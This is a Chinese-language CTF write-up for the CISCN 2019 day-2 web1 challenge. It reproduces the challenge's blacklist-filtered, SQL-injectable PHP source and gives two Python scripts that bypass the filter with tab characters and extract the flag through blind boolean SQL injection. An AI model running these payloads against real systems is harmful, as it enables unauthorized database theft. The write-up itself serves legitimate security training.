ciscn2019華北賽區半決賽day2_web1題解


比賽結束以后采用非官方復現平台做的題,和比賽題有輕微不同,比賽中存放flag的table是ctf,這里是flag。

題目地址

buuoj.cn

解題過程

題目中只有一個頁面,需要提交id。
初始界面

id為1,2時,可以分別得到一句話。id為0時,顯示error,可能是因為結果為空集。

id=1
Hello, glzjin wants a girlfriend.
id=2
Do you want to be my girlfriend?

id提交為單引號返回false,填入空格會直接顯示SQL Injection Checked。這說明id除有過濾,空格被過濾了,但是單引號沒過濾。

嘗試用Tab代替空格,發現可以。

接下來根據題目中的提示構造payload:

1   union    select  flag    from    flag

被過濾了,直接輸入一個

1   union

也會被過濾

這說明union也被過濾了。最后測試發現select和from,括號沒有被過濾可以考慮使用函數。

有幸找到了這題的源碼,在這里放一下,看看究竟過濾了啥。

<?php
$dbuser='root';
$dbpass='root';

function safe($sql){
    #被過濾的內容 函數基本沒過濾
    $blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./');
    foreach($blackList as $blackitem){
        if(stripos($sql,$blackitem)){
            return False;
        }
    }
    return True;
}
if(isset($_POST['id'])){
    $id = $_POST['id'];
}else{
    die();
}
$db = mysql_connect("localhost",$dbuser,$dbpass);
if(!$db){
    die(mysql_error());
}   
mysql_select_db("ctf",$db);

if(safe($id)){
    $query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1");
    
    if($query){
        $result = mysql_fetch_array($query);
        
        if($result){
            echo $result['content'];
        }else{
            echo "Error Occured When Fetch Result.";
        }
    }else{
    	var_dump($query);
    }
}else{
    die("SQL Injection Checked.");
}

接下來就想辦法借助函數構造注入就可以了。思路有很多,看過北郵大佬寫的延時注入,這里說一下我的思路。

借助substr函數截取flag中的內容,長度依次增加。

用if函數判斷截取出來的內容是什么,這里需要窮舉。如果判斷成功,返回1,否則返回2。

exp

import requests
import time
url = "http://web43.node1.buuoj.cn/index.php"
data = {"id":""}
flag = 'flag{'
length = 5
while True:
    #直接從數字開始猜
	for i in range(48,127):
        #復現平台有waf,一秒只能訪問一次
		time.sleep(1)
		#繞過一些過濾字符
		if i in [38,42,43,45,59,96]:
			continue
		data["id"] = "if(substr((select		flag		from	flag),1,{})='{}',1,2)".format(length+1,flag+chr(i)) 
		r = requests.post(url,data=data)
		#返回1
        if 'Hello' in r.text:
			flag+=chr(i)
			length+=1
			print(flag)
			break
	if flag[-1]=='}':
		break

這個腳本有點慢,畢竟一個個的猜。如果想快一點,猜的時候可以考慮每次猜一個字符,使用二分法。

下面這段代碼稍微改了一下判斷的規則,判斷ascii碼。這樣做的好處是如果遇到過濾字符也能得到結果,如果按照最初始的版本,假設flag中包含-,那就gg了。

import requests
import time
#url是隨時更新的,具體的以做題時候的為准
url = 'http://40c9be7a-36f0-4e80-94ca-d1ac9e121947.node1.buuoj.cn/index.php'
data = {"id":""}
flag = 'flag{'

i = 6
while True:
#從可打印字符開始
	begin = 32
	end = 126
	tmp = (begin+end)//2
	while begin<end:
		print(begin,tmp,end)
		time.sleep(1)
		data["id"] = "if(ascii(substr((select		flag		from	flag),{},1))>{},1,2)".format(i,tmp)
		r = requests.post(url,data=data)
		if 'Hello' in r.text:
			begin = tmp+1
			tmp = (begin+end)//2 
		else:
			end = tmp
			tmp = (begin+end)//2

	flag+=chr(tmp)
    print(flag)
	i+=1
	if flag[-1]=='}':
		break

最后得到了flag。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM